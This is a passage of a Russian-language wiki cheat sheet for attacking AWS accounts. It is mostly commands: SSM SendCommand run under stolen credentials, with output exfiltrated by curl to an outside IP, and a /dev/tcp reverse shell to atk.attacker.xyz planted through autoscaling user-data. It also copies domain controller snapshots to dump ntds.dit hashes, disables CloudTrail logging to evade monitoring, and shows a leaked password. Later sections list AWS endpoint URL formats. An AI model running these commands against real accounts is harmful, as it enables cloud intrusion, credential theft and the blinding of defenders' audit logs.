==== ssm:SendCommand ====&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:&lt;br /&gt;
&lt;br /&gt;
* Знать Instance-ID, на котором запущен сервис SSM&lt;br /&gt;
&lt;br /&gt;
* Свой сервер, на который будет приходить отстук - результат команды.&lt;br /&gt;
&lt;br /&gt;
Команды для эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation&lt;br /&gt;
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  &lt;br /&gt;
# Выполняем команду&lt;br /&gt;
aws ssm send-command --instance-ids &amp;quot;INSTANCE-ID-HERE&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;IP Config&amp;quot; --parameters commands=ifconfig --output text --query &amp;quot;Command.CommandId&amp;quot; --profile stolencreds&lt;br /&gt;
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)&lt;br /&gt;
aws ssm list-command-invocations --command-id &amp;quot;COMMAND-ID-HERE&amp;quot; --details --query &amp;quot;CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}&amp;quot; --profile stolencreds&lt;br /&gt;
&lt;br /&gt;
# Пример - результат команды на удаленный сервер&lt;br /&gt;
$ aws ssm send-command --instance-ids &amp;quot;i-05b████████adaa&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;whoami&amp;quot; --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + Active Directory ====&lt;br /&gt;
&lt;br /&gt;
См. AD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Auto Scaling (autoscaling) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.&lt;br /&gt;
&lt;br /&gt;
Для работы сервиса требуется:&lt;br /&gt;
&lt;br /&gt;
1. Конфигурация запуска EC2.&lt;br /&gt;
&lt;br /&gt;
2. Конфигурация масштабирования.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Роли - повышение привилегий ==&lt;br /&gt;
&lt;br /&gt;
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===&lt;br /&gt;
&lt;br /&gt;
Позволяет создать и запустить конфигурацию масштабирования. &lt;br /&gt;
&lt;br /&gt;
==== Создаем конфигурацию запуска EC2 ====&lt;br /&gt;
&lt;br /&gt;
Для создания требуется:&lt;br /&gt;
&lt;br /&gt;
1. Image-id&lt;br /&gt;
&lt;br /&gt;
2. iam-instance-profile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options &amp;quot;HttpEndpoint=enabled,HttpTokens=optional&amp;quot; --associate-public-ip-address --user-data=file://reverse-shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример содержимого reverse-shell.sh:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/atk.attacker.xyz/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Создаем и запускаем группу масштабируемости ====&lt;br /&gt;
&lt;br /&gt;
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier &amp;quot;subnet-aaaabbb&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b&lt;br /&gt;
&lt;br /&gt;
== AD (Directory Service) ==&lt;br /&gt;
&lt;br /&gt;
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.&lt;br /&gt;
&lt;br /&gt;
Основные понятия:&lt;br /&gt;
&lt;br /&gt;
* EC2-Instance - VPS на которых крутится весь Active Directory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + EC2:RunInstance -&amp;gt; ShadowCopy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Последовательность атаки:&lt;br /&gt;
&lt;br /&gt;
1. Получаем список инстансов&lt;br /&gt;
&lt;br /&gt;
2. Создаем Snapshot выбранного сервера&lt;br /&gt;
&lt;br /&gt;
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Переключаемся на аккаунт атакующего&lt;br /&gt;
&lt;br /&gt;
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot&lt;br /&gt;
&lt;br /&gt;
6. Подключаемся по SSH и получаем данные из SnapShot&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sudo -s&lt;br /&gt;
mkdir /tmp/windows&lt;br /&gt;
mount /dev/xvdf1 /tmp/windows/&lt;br /&gt;
cd  /tmp/windows/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user&lt;br /&gt;
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user&lt;br /&gt;
chown ec2-user:ec2-user /home/ec2-user/*&lt;br /&gt;
# Sftp - скачиваем файлы:&lt;br /&gt;
/home/ec2-user/SYSTEM&lt;br /&gt;
/home/ec2-user/ntds.dit&lt;br /&gt;
# Получаем учетные данные, используя Impacket-secretsdump&lt;br /&gt;
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudTrail ==&lt;br /&gt;
&lt;br /&gt;
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.&lt;br /&gt;
&lt;br /&gt;
Записывает:&lt;br /&gt;
&lt;br /&gt;
* API-вызовы&lt;br /&gt;
&lt;br /&gt;
* Логины в систему&lt;br /&gt;
&lt;br /&gt;
* События сервисов&lt;br /&gt;
&lt;br /&gt;
* ???&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важен при операциях RedTeam.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Название файла логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S3 путь до логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Путь у CloudTrail-Digest файлов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Основные поля у событий:&lt;br /&gt;
&lt;br /&gt;
* eventName - имя API-endpoint&lt;br /&gt;
&lt;br /&gt;
* eventSource - вызванный сервис&lt;br /&gt;
&lt;br /&gt;
* eventTime - время события&lt;br /&gt;
&lt;br /&gt;
* SourceIPAddress - ip-адрес источника&lt;br /&gt;
&lt;br /&gt;
* userAgent - метод запроса&lt;br /&gt;
** &amp;quot;signing.amazonaws.com&amp;quot; - запрос от AWS Management Console&lt;br /&gt;
** &amp;quot;console.amazonaws.com&amp;quot; - запрос от root-пользователя аккаунта&lt;br /&gt;
** &amp;quot;lambda.amazonaws.com&amp;quot; - запрос от AWS Lambda&lt;br /&gt;
&lt;br /&gt;
* requestParameters - параметры запроса&lt;br /&gt;
&lt;br /&gt;
* responseElements - элементы ответа.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Временные параметры:&lt;br /&gt;
&lt;br /&gt;
* 5 минут - сохраняется новый лог-файл&lt;br /&gt;
&lt;br /&gt;
* 15 минут - сохраняется в S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.&lt;br /&gt;
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:DeleteTrail ====&lt;br /&gt;
&lt;br /&gt;
Позволяет отключить мониторинг:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:UpdateTrail ====&lt;br /&gt;
&lt;br /&gt;
Права на редактирование правил монитринга.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг глобальных сервисов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг на конкретные регионы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== validate-logs ====&lt;br /&gt;
&lt;br /&gt;
Проверить, были ли изменены логи.&lt;br /&gt;
&lt;br /&gt;
aws cloudtrail validate-logs --trail-arn &amp;lt;trailARN&amp;gt; --start-time &amp;lt;start-time&amp;gt; [--end-time &amp;lt;end-time&amp;gt;] [--s3-bucket &amp;lt;bucket-name&amp;gt;] [--s3-prefix &amp;lt;prefix&amp;gt;] [--verbose]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
==== Обход правила по UserAgent ====&lt;br /&gt;
&lt;br /&gt;
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.&lt;br /&gt;
&lt;br /&gt;
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.&lt;br /&gt;
&lt;br /&gt;
== DynamoDB ==&lt;br /&gt;
&lt;br /&gt;
Cистема управления базами данных класса NoSQL в формате «ключ — значение».&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:ListTables ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть спрсок таблиц базы данных.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        &lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;TableNames&amp;quot;: [&lt;br /&gt;
        &amp;quot;users&amp;quot;&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:Scan ====&lt;br /&gt;
&lt;br /&gt;
Получение обьектов из базы данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;password&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Management@#1@#&amp;quot;&lt;br /&gt;
  },&lt;br /&gt;
  &amp;quot;username&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Mgmt&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ES (ElasticSearch) ==&lt;br /&gt;
&lt;br /&gt;
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.es.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ELB (Elastic Load Balancing) ==&lt;br /&gt;
&lt;br /&gt;
Балансировщик нагрузки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v1):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== RDS (Relational Database Service) ==&lt;br /&gt;
&lt;br /&gt;
Облачная реляционная база данных (на выбор).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306&lt;br /&gt;
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Route 53 ==&lt;br /&gt;
&lt;br /&gt;
Настраиваемая служба DNS.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== API Gateway ==&lt;br /&gt;
&lt;br /&gt;
API-сервис, который будет доступен почти со всех серверов.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/&lt;br /&gt;
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudSearch ==&lt;br /&gt;
&lt;br /&gt;
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Transfer Family  ==&lt;br /&gt;
&lt;br /&gt;
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IoT (Internet Of Things) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для управления IoT-устройствами.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mqtt://{random_id}.iot.{region}.amazonaws.com:8883&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:8443&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MQ ==&lt;br /&gt;
&lt;br /&gt;
Сервис брокера сообщений для Apache ActiveMQ &amp;amp; RabbitMQ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162&lt;br /&gt;
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSK (Managed Streaming for Apache Kafka) ==&lt;br /&gt;
&lt;br /&gt;
Сервис потоковой передачи данных в Apache Kafka.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com&lt;br /&gt;
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cloud9 ==&lt;br /&gt;
&lt;br /&gt;
Облачная интегрированная среда разработки(IDE) используя только браузер.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.vfs.cloud9.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MediaStore ==&lt;br /&gt;
&lt;br /&gt;
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.data.mediastore.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Kinesis Video Streams ==&lt;br /&gt;
&lt;br /&gt;
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.kinesisvideo.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaConvert ==&lt;br /&gt;
&lt;br /&gt;
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediaconvert.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaPackage ==&lt;br /&gt;
&lt;br /&gt;
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECR (Elastic Container Registry) ==&lt;br /&gt;
&lt;br /&gt;
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ecr:ListImages ====&lt;br /&gt;
&lt;br /&gt;
Получить список образов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr list-images --repository-name &amp;lt;ECR_name&amp;gt; --registry-id &amp;lt;UserID&amp;gt; --region &amp;lt;region&amp;gt; --profile &amp;lt;profile_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить URL на скачивание образа.&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr get-login&lt;br /&gt;
docker pull &amp;lt;UserID&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/&amp;lt;ECRName&amp;gt;:latest&lt;br /&gt;
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Augmented AI (Amazon A2I) ==&lt;br /&gt;
&lt;br /&gt;
Предоставляет интерфейс для обработки человеком предварительных результатов, полученных с помощью машинного обучения.&lt;br /&gt;
&lt;br /&gt;
[[File:A2i.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
Данные сохраняются в S3, а также к задаче прикрепляется IAM-роль .&lt;br /&gt;
